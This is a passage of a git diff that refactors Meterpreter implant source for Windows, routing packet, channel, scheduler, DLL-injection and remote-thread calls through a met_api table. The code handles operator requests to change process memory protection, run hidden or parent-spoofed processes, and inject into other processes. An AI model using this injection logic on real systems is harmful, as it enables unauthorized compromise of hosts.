TLV_TYPE_BASE_ADDRESS); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + base = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); // Zero the info buffer memset(&info, 0, sizeof(info)); @@ -223,18 +224,18 @@ DWORD request_sys_process_memory_query(Remote *remote, Packet *packet) } // Pass the parameters back to the requestor - packet_add_tlv_qword(response, TLV_TYPE_BASE_ADDRESS, (QWORD)info.BaseAddress); - packet_add_tlv_qword(response, TLV_TYPE_ALLOC_BASE_ADDRESS, (QWORD)info.AllocationBase); - packet_add_tlv_uint(response, TLV_TYPE_ALLOC_PROTECTION, info.AllocationProtect); - packet_add_tlv_uint(response, TLV_TYPE_LENGTH, (DWORD)info.RegionSize); - packet_add_tlv_uint(response, TLV_TYPE_MEMORY_STATE, (DWORD)info.State); - packet_add_tlv_uint(response, TLV_TYPE_PROTECTION, info.Protect); - packet_add_tlv_uint(response, TLV_TYPE_MEMORY_TYPE, info.Type); + met_api->packet.add_tlv_qword(response, TLV_TYPE_BASE_ADDRESS, (QWORD)info.BaseAddress); + met_api->packet.add_tlv_qword(response, TLV_TYPE_ALLOC_BASE_ADDRESS, (QWORD)info.AllocationBase); + met_api->packet.add_tlv_uint(response, TLV_TYPE_ALLOC_PROTECTION, info.AllocationProtect); + met_api->packet.add_tlv_uint(response, TLV_TYPE_LENGTH, (DWORD)info.RegionSize); + met_api->packet.add_tlv_uint(response, TLV_TYPE_MEMORY_STATE, (DWORD)info.State); + met_api->packet.add_tlv_uint(response, TLV_TYPE_PROTECTION, info.Protect); + met_api->packet.add_tlv_uint(response, TLV_TYPE_MEMORY_TYPE, info.Type); } while (0); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -249,17 +250,17 @@ DWORD request_sys_process_memory_query(Remote *remote, Packet *packet) */ DWORD request_sys_process_memory_protect(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE handle; LPVOID base; SIZE_T size; DWORD prot, old; DWORD result = ERROR_SUCCESS; - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); - base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); - size = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); - prot = packet_get_tlv_value_uint(packet, TLV_TYPE_PROTECTION); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + base = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); + size = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LENGTH); + prot = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PROTECTION); do { @@ -280,12 +281,12 @@ DWORD request_sys_process_memory_protect(Remote *remote, Packet *packet) } // Return the old protection mask to the requestor - packet_add_tlv_uint(response, TLV_TYPE_PROTECTION, old); + met_api->packet.add_tlv_uint(response, TLV_TYPE_PROTECTION, old); } while (0); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -299,19 +300,19 @@ DWORD request_sys_process_memory_protect(Remote *remote, Packet *packet) */ DWORD request_sys_process_memory_lock(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); LPVOID base; SIZE_T size; DWORD result = ERROR_SUCCESS; - base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); - size = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); + base = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); + size = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LENGTH); if (!VirtualLock(base, size)) result = GetLastError(); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -324,19 +325,19 @@ DWORD request_sys_process_memory_lock(Remote *remote, Packet *packet) */ DWORD request_sys_process_memory_unlock(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); LPVOID base; SIZE_T size; DWORD result = ERROR_SUCCESS; - base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); - size = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); + base = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); + size = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LENGTH); if (!VirtualUnlock(base, size)) result = GetLastError(); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c index 6a4ddd8c..056f9aac 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include "ps.h" // include the code for listing proceses #include "./../session.h" @@ -41,13 +42,13 @@ const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000; */ DWORD request_sys_process_attach(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE handle = NULL; DWORD result = ERROR_SUCCESS; DWORD pid; // Get the process identifier that we're attaching to, if any. - pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID); + pid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PID); dprintf("[attach]: pid %d", pid); // No pid? Use current. if (!pid) @@ -55,8 +56,8 @@ DWORD request_sys_process_attach(Remote *remote, Packet *packet) // Otherwise, attach. else { - BOOLEAN inherit = packet_get_tlv_value_bool(packet, TLV_TYPE_INHERIT); - DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS); + BOOLEAN inherit = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_INHERIT); + DWORD permission = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS); handle = OpenProcess(permission, inherit, pid); dprintf("[attach] OpenProcess: opened process %d with permission %d: 0x%p [%d]\n", pid, permission, handle, GetLastError()); @@ -64,12 +65,12 @@ DWORD request_sys_process_attach(Remote *remote, Packet *packet) // If we have a handle, add it to the response if (handle) - packet_add_tlv_qword(response, TLV_TYPE_HANDLE, (QWORD)handle); + met_api->packet.add_tlv_qword(response, TLV_TYPE_HANDLE, (QWORD)handle); else result = GetLastError(); // Send the response packet to the requestor - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -81,10 +82,10 @@ DWORD request_sys_process_attach(Remote *remote, Packet *packet) */ DWORD request_sys_process_close(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE handle; DWORD result = ERROR_SUCCESS; - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); if (handle) @@ -96,7 +97,7 @@ DWORD request_sys_process_close(Remote *remote, Packet *packet) result = ERROR_INVALID_PARAMETER; // Send the response packet to the requestor - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -111,7 +112,7 @@ DWORD request_sys_process_close(Remote *remote, Packet *packet) */ DWORD request_sys_process_execute(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; Tlv inMemoryData; BOOL doInMemory = FALSE; @@ -154,12 +155,12 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) } // Get the execution arguments - arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS); - path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH); - flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS); - ppid = packet_get_tlv_value_uint(packet, TLV_TYPE_PARENT_PID); + arguments = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS); + path = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH); + flags = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS); + ppid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PARENT_PID); - if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS) + if (met_api->packet.get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS) { doInMemory = TRUE; createFlags |= CREATE_SUSPENDED; @@ -175,11 +176,11 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) memset(cpDesktop, 0, 512); - lock_acquire(remote->lock); + met_api->lock.acquire(remote->lock); _snprintf(cpDesktop, 512, "%s\\%s", remote->curr_station_name, remote->curr_desktop_name); - lock_release(remote->lock); + met_api->lock.release(remote->lock); si.StartupInfo.lpDesktop = cpDesktop; @@ -236,19 +237,19 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) chops.read = process_channel_read; // Allocate the pool channel - if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops))) + if (!(newChannel = met_api->channel.create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Set the channel's type to process - channel_set_type(newChannel, "process"); + met_api->channel.set_type(newChannel, "process"); // Allocate the stdin and stdout pipes if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || (!CreatePipe(&out[0], &out[1], &sa, 0))) { - channel_destroy(newChannel, NULL); + met_api->channel.destroy(newChannel, NULL); newChannel = NULL; @@ -272,7 +273,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) ctx->pStdout = out[0]; // Add the channel identifier to the response packet - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); + met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel)); } // If the hidden flag is set, create the process hidden @@ -293,8 +294,8 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) HMODULE hKernel32Lib = LoadLibrary("kernel32.dll"); INITIALIZEPROCTHREADATTRIBUTELIST InitializeProcThreadAttributeList = (INITIALIZEPROCTHREADATTRIBUTELIST)GetProcAddress(hKernel32Lib, "InitializeProcThreadAttributeList"); UPDATEPROCTHREADATTRIBUTE UpdateProcThreadAttribute = (UPDATEPROCTHREADATTRIBUTE)GetProcAddress(hKernel32Lib, "UpdateProcThreadAttribute"); - BOOLEAN inherit = packet_get_tlv_value_bool(packet, TLV_TYPE_INHERIT); - DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS); + BOOLEAN inherit = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_INHERIT); + DWORD permission = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS); HANDLE handle = OpenProcess(permission, inherit, ppid); dprintf("[execute] OpenProcess: opened process %d with permission %d: 0x%p [%d]\n", ppid, permission, handle, GetLastError()); if ( @@ -476,7 +477,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) // Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it. hWtsapi32 = LoadLibraryA("wtsapi32.dll"); - session = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_SESSION); + session = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PROCESS_SESSION); if (session_id(GetCurrentProcessId()) == session || !hWtsapi32) { @@ -574,9 +575,9 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) } // Add the process identifier to the response packet - packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId); + met_api->packet.add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId); - packet_add_tlv_qword(response, TLV_TYPE_PROCESS_HANDLE, (QWORD)pi.hProcess); + met_api->packet.add_tlv_qword(response, TLV_TYPE_PROCESS_HANDLE, (QWORD)pi.hProcess); CloseHandle(pi.hThread); } @@ -609,7 +610,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) free(si.lpAttributeList); } - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -621,12 +622,12 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) */ DWORD request_sys_process_kill(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; Tlv pidTlv; DWORD index = 0; - while ((packet_enum_tlv(packet, index++, TLV_TYPE_PID, + while ((met_api->packet.enum_tlv(packet, index++, TLV_TYPE_PID, &pidTlv) == ERROR_SUCCESS) && (pidTlv.header.length >= sizeof(DWORD))) { @@ -647,7 +648,7 @@ DWORD request_sys_process_kill(Remote *remote, Packet *packet) } // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -665,7 +666,7 @@ DWORD request_sys_process_get_processes( Remote * remote, Packet * packet ) do { - response = packet_create_response( packet ); + response = met_api->packet.create_response( packet ); if( !response ) break; @@ -698,7 +699,7 @@ DWORD request_sys_process_get_processes( Remote * remote, Packet * packet ) } } - packet_transmit_response( result, remote, response ); + met_api->packet.transmit_response( result, remote, response ); } while( 0 ); @@ -710,11 +711,11 @@ DWORD request_sys_process_get_processes( Remote * remote, Packet * packet ) */ DWORD request_sys_process_getpid(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); - packet_add_tlv_uint(response, TLV_TYPE_PID, GetCurrentProcessId()); + met_api->packet.add_tlv_uint(response, TLV_TYPE_PID, GetCurrentProcessId()); - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); return ERROR_SUCCESS; } @@ -726,7 +727,7 @@ DWORD request_sys_process_getpid(Remote *remote, Packet *packet) */ DWORD request_sys_process_get_info(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); BOOL (WINAPI *enumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb, @@ -743,7 +744,7 @@ DWORD request_sys_process_get_info(Remote *remote, Packet *packet) DWORD needed; wchar_t path[1024], name[512]; - handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); + handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); do { @@ -795,13 +796,13 @@ DWORD request_sys_process_get_info(Remote *remote, Packet *packet) getModuleFileNameEx(handle, mod, path, sizeof(path) - 1); // Set the process' information on the response - packet_add_tlv_string(response, TLV_TYPE_PROCESS_NAME, wchar_to_utf8(name)); - packet_add_tlv_string(response, TLV_TYPE_PROCESS_PATH, wchar_to_utf8(path)); + met_api->packet.add_tlv_string(response, TLV_TYPE_PROCESS_NAME, met_api->string.wchar_to_utf8(name)); + met_api->packet.add_tlv_string(response, TLV_TYPE_PROCESS_PATH, met_api->string.wchar_to_utf8(path)); } while (0); // Transmit the response - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); // Close the psapi library and clean up if (psapi) @@ -873,7 +874,7 @@ DWORD process_channel_close( Channel *channel, Packet *request, LPVOID context ) } if ( ctx->pProcess != NULL ) { dprintf( "[PROCESS] channel has an attached process, closing via scheduler signal. channel=0x%08X, ctx=0x%08X", channel, ctx ); - scheduler_signal_waitable( ctx->pStdout, Stop ); + met_api->scheduler.signal_waitable( ctx->pStdout, SchedulerStop ); } else { CloseHandle( ctx->pStdin ); CloseHandle( ctx->pStdout ); @@ -905,7 +906,7 @@ DWORD process_channel_interact_destroy( HANDLE waitable, LPVOID entryContext, LP } free( ctx ); - if (channel_exists(channel)) + if (met_api->channel.exists(channel)) { channel->ops.pool.native.context = NULL; } @@ -925,7 +926,7 @@ DWORD process_channel_interact_notify(Remote *remote, LPVOID entryContext, LPVOI CHAR buffer[16384]; DWORD result = ERROR_SUCCESS; - if (!channel_exists(channel) || ctx == NULL) + if (!met_api->channel.exists(channel) || ctx == NULL) { return result; } @@ -935,7 +936,7 @@ DWORD process_channel_interact_notify(Remote *remote, LPVOID entryContext, LPVOI { if( ReadFile( ctx->pStdout, buffer, sizeof(buffer) - 1, &bytesRead, NULL ) ) { - return channel_write( channel, remote, NULL, 0, buffer, bytesRead, NULL ); + return met_api->channel.write( channel, remote, NULL, 0, buffer, bytesRead, NULL ); } result = GetLastError(); } @@ -955,7 +956,7 @@ DWORD process_channel_interact_notify(Remote *remote, LPVOID entryContext, LPVOI { dprintf("Closing down socket: result: %d\n", result); process_channel_close( channel, NULL, ctx ); - channel_close( channel, remote, NULL, 0, NULL ); + met_api->channel.close( channel, remote, NULL, 0, NULL ); } return result; @@ -971,7 +972,7 @@ DWORD process_channel_interact(Channel *channel, Packet *request, LPVOID context dprintf( "[PROCESS] process_channel_interact. channel=0x%08X, ctx=0x%08X, interact=%d", channel, ctx, interact ); - if (!channel_exists(channel) || ctx == NULL) + if (!met_api->channel.exists(channel) || ctx == NULL) { return result; } @@ -979,13 +980,13 @@ DWORD process_channel_interact(Channel *channel, Packet *request, LPVOID context // as a waitable item if (interact) { // try to resume it first, if it's not there, we can create a new entry - if( (result = scheduler_signal_waitable( ctx->pStdout, Resume )) == ERROR_NOT_FOUND ) { - result = scheduler_insert_waitable( ctx->pStdout, channel, context, + if( (result = met_api->scheduler.signal_waitable( ctx->pStdout, SchedulerResume )) == ERROR_NOT_FOUND ) { + result = met_api->scheduler.insert_waitable( ctx->pStdout, channel, context, (WaitableNotifyRoutine)process_channel_interact_notify, (WaitableDestroyRoutine)process_channel_interact_destroy ); } } else { // Otherwise, pause it - result = scheduler_signal_waitable( ctx->pStdout, Pause ); + result = met_api->scheduler.signal_waitable( ctx->pStdout, SchedulerPause ); } return result; } @@ -997,11 +998,11 @@ DWORD process_channel_interact(Channel *channel, Packet *request, LPVOID context */ DWORD request_sys_process_wait(Remote *remote, Packet *packet) { - Packet * response = packet_create_response( packet ); + Packet * response = met_api->packet.create_response( packet ); HANDLE handle = NULL; DWORD result = ERROR_INVALID_PARAMETER; - handle = (HANDLE)packet_get_tlv_value_qword( packet, TLV_TYPE_HANDLE ); + handle = (HANDLE)met_api->packet.get_tlv_value_qword( packet, TLV_TYPE_HANDLE ); if( handle ) { @@ -1009,7 +1010,7 @@ DWORD request_sys_process_wait(Remote *remote, Packet *packet) result = ERROR_SUCCESS; } - packet_transmit_response( result, remote, response ); + met_api->packet.transmit_response( result, remote, response ); return result; } diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c index f2a00686..e4cd5f72 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c @@ -1,8 +1,9 @@ #include "precomp.h" +#include "common_metapi.h" #include "ps.h" +#include #include "./../session.h" -#include "./../../../../../common/arch/win/i386/base_inject.h" /* * Get the arch type (either x86 or x64) for a given PE (either PE32 or PE64) DLL image. @@ -70,7 +71,7 @@ DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer, char * cpCommandLine ) if( dwDllArch != dwPidArch ) BREAK_WITH_ERROR( "[PS] ps_inject_dll. pid/dll architecture mixup", ERROR_BAD_ENVIRONMENT ); - dwResult = inject_dll( dwPid, lpDllBuffer, dwDllLenght, cpCommandLine ); + dwResult = met_api->inject.dll( dwPid, lpDllBuffer, dwDllLenght, cpCommandLine ); } while( 0 ); @@ -596,20 +597,20 @@ VOID ps_addresult(Packet * response, DWORD dwPid, DWORD dwParentPid, wchar_t * w if( !wcpExeName ) wcpExeName = L""; entries[1].header.type = TLV_TYPE_PROCESS_NAME; - entries[1].header.length = (DWORD)strlen(wchar_to_utf8(wcpExeName)) + 1; - entries[1].buffer = wchar_to_utf8(wcpExeName); + entries[1].header.length = (DWORD)strlen(met_api->string.wchar_to_utf8(wcpExeName)) + 1; + entries[1].buffer = met_api->string.wchar_to_utf8(wcpExeName); if( !wcpExePath ) wcpExePath = L""; entries[2].header.type = TLV_TYPE_PROCESS_PATH; - entries[2].header.length = (DWORD)strlen(wchar_to_utf8(wcpExePath)) + 1; - entries[2].buffer = wchar_to_utf8(wcpExePath); + entries[2].header.length = (DWORD)strlen(met_api->string.wchar_to_utf8(wcpExePath)) + 1; + entries[2].buffer = met_api->string.wchar_to_utf8(wcpExePath); if( !wcpUserName ) wcpUserName = L""; entries[3].header.type = TLV_TYPE_USER_NAME; - entries[3].header.length = (DWORD)strlen(wchar_to_utf8(wcpUserName)) + 1; - entries[3].buffer = wchar_to_utf8(wcpUserName); + entries[3].header.length = (DWORD)strlen(met_api->string.wchar_to_utf8(wcpUserName)) + 1; + entries[3].buffer = met_api->string.wchar_to_utf8(wcpUserName); dwProcessArch = htonl( dwProcessArch ); entries[4].header.type = TLV_TYPE_PROCESS_ARCH; @@ -626,7 +627,7 @@ VOID ps_addresult(Packet * response, DWORD dwPid, DWORD dwParentPid, wchar_t * w entries[6].header.length = sizeof( DWORD ); entries[6].buffer = (PUCHAR)&dwSessionId; - packet_add_tlv_group( response, TLV_TYPE_PROCESS_GROUP, entries, 7 ); + met_api->packet.add_tlv_group( response, TLV_TYPE_PROCESS_GROUP, entries, 7 ); } while(0); } diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c index 22ecee1c..93dd666c 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c @@ -1,6 +1,5 @@ #include "precomp.h" -#include "../../../../../common/arch/win/remote_thread.h" -#include "../../../../../common/arch/win/i386/base_inject.h" +#include "common_metapi.h" ULONG get_thread_register_value(LPCONTEXT context, LPCSTR name, DWORD size); VOID set_thread_register_value(LPCONTEXT, LPCSTR name, ULONG value); @@ -37,15 +36,15 @@ BOOL IsWow64Process(HANDLE hProcess) */ DWORD request_sys_process_thread_open(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE handle = NULL; DWORD result = ERROR_SUCCESS; DWORD threadId; DWORD perms; // Get the parameters - threadId = packet_get_tlv_value_uint(packet, TLV_TYPE_THREAD_ID); - perms = packet_get_tlv_value_uint(packet, TLV_TYPE_THREAD_PERMS); + threadId = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_THREAD_ID); + perms = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_THREAD_PERMS); do { @@ -64,11 +63,11 @@ DWORD request_sys_process_thread_open(Remote *remote, Packet *packet) } // Add the handle to the response packet - packet_add_tlv_qword(response, TLV_TYPE_THREAD_HANDLE, (QWORD)handle); + met_api->packet.add_tlv_qword(response, TLV_TYPE_THREAD_HANDLE, (QWORD)handle); } while (0); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -86,7 +85,7 @@ DWORD request_sys_process_thread_open(Remote *remote, Packet *packet) */ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE hProcess, hThread = NULL; LPVOID lpEntryPoint; LPVOID lpEntryParam; @@ -95,10 +94,10 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet) DWORD dwThreadId; // Snag the parameters - hProcess = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_PROCESS_HANDLE); - lpEntryPoint = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_ENTRY_POINT); - lpEntryParam = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_ENTRY_PARAMETER); - dwCreateFlags = packet_get_tlv_value_uint(packet, TLV_TYPE_CREATION_FLAGS); + hProcess = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_PROCESS_HANDLE); + lpEntryPoint = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_ENTRY_POINT); + lpEntryParam = (LPVOID)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_ENTRY_PARAMETER); + dwCreateFlags = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_CREATION_FLAGS); do { @@ -112,7 +111,7 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet) dprintf("[THREAD CREATE] CreateFlags: %x", dwCreateFlags); // Create the thread in the process supplied - if (!(hThread = create_remote_thread(hProcess, 0, lpEntryPoint, lpEntryParam, dwCreateFlags, &dwThreadId))) + if (!(hThread = met_api->thread.create_remote(hProcess, 0, lpEntryPoint, lpEntryParam, dwCreateFlags, &dwThreadId))) { dprintf("[THREAD CREATE] Failed to create remote thread"); dwResult = GetLastError(); @@ -125,7 +124,7 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet) dprintf("[THREAD CREATE] Target is x64, attempting wow64 injection"); // looking good, let's see if we can do the wow64 injection. - dwResult = inject_via_remotethread_wow64(hProcess, lpEntryPoint, lpEntryParam, &hThread); + dwResult = met_api->inject.via_remotethread_wow64(hProcess, lpEntryPoint, lpEntryParam, &hThread); if (dwResult != ERROR_SUCCESS) { dprintf("[THREAD CREATE] Wow64 injection failed: %u (%x)", dwResult, dwResult); @@ -148,12 +147,12 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet) dprintf("[THREAD CREATE] Thread creation succeeded"); // Set the thread identifier and handle on the response - packet_add_tlv_uint(response, TLV_TYPE_THREAD_ID, dwThreadId); - packet_add_tlv_qword(response, TLV_TYPE_THREAD_HANDLE, (QWORD)hThread); + met_api->packet.add_tlv_uint(response, TLV_TYPE_THREAD_ID, dwThreadId); + met_api->packet.add_tlv_qword(response, TLV_TYPE_THREAD_HANDLE, (QWORD)hThread); } while (0); - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); return ERROR_SUCCESS; } @@ -165,16 +164,16 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet) */ DWORD request_sys_process_thread_close(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE thread; DWORD result = ERROR_SUCCESS; - if ((thread = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) + if ((thread = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) CloseHandle(thread); else result = ERROR_INVALID_PARAMETER; - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -187,13 +186,13 @@ DWORD request_sys_process_thread_close(Remote *remote, Packet *packet) */ DWORD request_sys_process_thread_get_threads(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); THREADENTRY32 entry; HANDLE th32 = NULL; DWORD result = ERROR_SUCCESS; DWORD processId; - processId = packet_get_tlv_value_uint(packet, TLV_TYPE_PID); + processId = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PID); do { @@ -222,7 +221,7 @@ DWORD request_sys_process_thread_get_threads(Remote *remote, Packet *packet) if (entry.th32OwnerProcessID != processId) continue; - packet_add_tlv_uint(response, TLV_TYPE_THREAD_ID, entry.th32ThreadID); + met_api->packet.add_tlv_uint(response, TLV_TYPE_THREAD_ID, entry.th32ThreadID); } while (Thread32Next(th32, &entry)); } @@ -237,7 +236,7 @@ DWORD request_sys_process_thread_get_threads(Remote *remote, Packet *packet) } while (0); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); // Cleanup if (th32) @@ -253,11 +252,11 @@ DWORD request_sys_process_thread_get_threads(Remote *remote, Packet *packet) */ DWORD request_sys_process_thread_suspend(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE thread; DWORD result = ERROR_SUCCESS; - if ((thread = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) + if ((thread = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) { if (SuspendThread(thread) == (DWORD)-1) result = GetLastError(); @@ -265,7 +264,7 @@ DWORD request_sys_process_thread_suspend(Remote *remote, Packet *packet) else result = ERROR_INVALID_PARAMETER; - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -277,11 +276,11 @@ DWORD request_sys_process_thread_suspend(Remote *remote, Packet *packet) */ DWORD request_sys_process_thread_resume(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE thread; DWORD result = ERROR_SUCCESS; - if ((thread = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) + if ((thread = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) { if (ResumeThread(thread) == (DWORD)-1) result = GetLastError(); @@ -289,7 +288,7 @@ DWORD 